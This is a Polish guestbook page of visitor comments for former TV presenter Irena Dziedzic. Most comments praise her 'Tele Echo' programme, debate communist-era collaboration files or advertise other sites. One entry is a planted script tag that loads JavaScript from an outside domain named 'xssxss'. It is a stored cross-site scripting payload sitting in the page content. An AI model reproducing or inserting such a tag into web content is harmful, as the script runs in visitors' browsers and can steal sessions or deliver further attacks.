była Pani i jest , i będzie GWIAZDĄ !!!!!!
ta miernota obecnej telewizji mogłaby jedynie Pani buty czyścić!

mieszkam obecnie w UK i mam 50 lat!
tu nikt nikogo nie oskarża za poglądy oraz tok mymyślenia,a przecież to nasze polskie myślenie-jeśli myślisz inaczej to jesteś wróg!!!!
tu myślą i robią ludzie to,na co mają ochotę i nie muszą tłumaczyć się nikomu z tego,że kiedyś lubili coś i zmienili swoje poglądy. jako młody człowiek byłam w zsmp to co teraz mieli by mnie ukamieniować!!!
tylko krowa nie zmieni swoich poglądow.ja z każdym nowym doświadczeniem je zmieniam i dobrze bo czuję i wiem ,że myślęę!!!!!
pozdrawiam serdeczniei życzę dużo,dużo zdrowia-Janina Szelawa

Strona całkiem ciekawa . Polecam ją wszystkim.
Zapraszam na studia.uczelnie.pl

Pani Ireno, byla Pani i jest niekwestionowana pierwsza dama polskiej telewizji. A przepis na pierogi przypomnial mi o mojej babci. Pysznosci.
Dziekuje.

Pani Ireno!
Serdecznie pozdrawiam.Zdrowia życzę...Dziś już takich dziennikarzy -nie ma.
Kultura przed kamerą,szacunek dla widza,zapraszanego gościa i specyficzna atmosfera "Tele Echa"... Pamiętam ten program,że go oglądałem,czekałem na niego,pomimo,że miałem mniej więcej 10-12 lat...To była kopalnia wiedzy o życiu,nauce etc.Za to wypada tylko podziękować.Także za specyficzny klimat lat sopockich...Ach,to były czasy!

Witam serdecznie
Bardzo cieszę się, że trafiłem na stronę Pani Ireny Dziedzic. Jako mały chłopiec pamiętam pamiętam panią Irenę z programu TeleEcho. Wtedy nie wiedziałem co to za program, ale zapamiętałem sygnał dźwiękowy, właśnie z echem. Z chęcią będę zaglądać na tą stronę.
https://www.krzysztof-kledzik.pl/

Witam serdecznie,
i od razu przechodzę do rzeczy.
Nie darzę sentymentem czasów PRL ani ludzi, którzy zhańbili się "współpracą".
Jednak sprawa Pani, p. Niezabitowskiej i wielu, wielu innych dowodzi, że czas już położyć kres "rozliczeniom". Z biegiem czasu coraz mniejszą odczuwam ochotę na poznanie prawdy; przy rąbaniu tych drew zbyt dużo jest wiórów .
Może pora na zajęcie się przyszłością, rozliczenia z tym co było zostawiając samym "współpracownikom" - przed lustrem

<script src=https://www.xssxss.elementfx.com></script>

Pani Ireno, pozdrawiam serdecznie z metropolii Chicagowskiej, gdzie mnie zycie rzucilo..nie wiem czy dobrze zrozumialam, ze nie ma w Archiwum pani programow, to sie nawet wpisuje w jakis logiczny ciag- programow ktore wszyscy wiemy ze na pewno byly,teraz nie ma, nie zachowaly sie ale jakies papiery na Pania nie wiadomo przez kogo spreparowane zachowaly sie...podejrzewam, ze przodek agenta Tomka przylozyl sie do swojego zadania...skompromitowac dawne autorytety...TKM....

Pamietam Pani programy, byly z klasa i na wysokim poziomie. Obecni redaktorzy gdyby mieli wiecej rozumu a mniej pychy powinni uczyc sie od Pani. Wiemy jakie byly czasy i jesli chcieli kogos sie pozbyc to byli specjalisci od tworzenia papierow. W dzisiejszych czasach specjalisci od "wizerunku"tez umieja sie pozbywac niewygodnych. Serdecznie Pania pozdrawiam.

Pania Ireno!
Zawsze podziwialam Pani wdziek i urode.
Jestem kilka lat mlodsza od Pani,ale programy telewizyjne prowadzone przez Pania byly bardzo ciekawe.
Od 23 lat mieszkam za granica i nie mam za duzo kontaktow z telewizja polska. Od czasu do czasu ogladam "Polonie"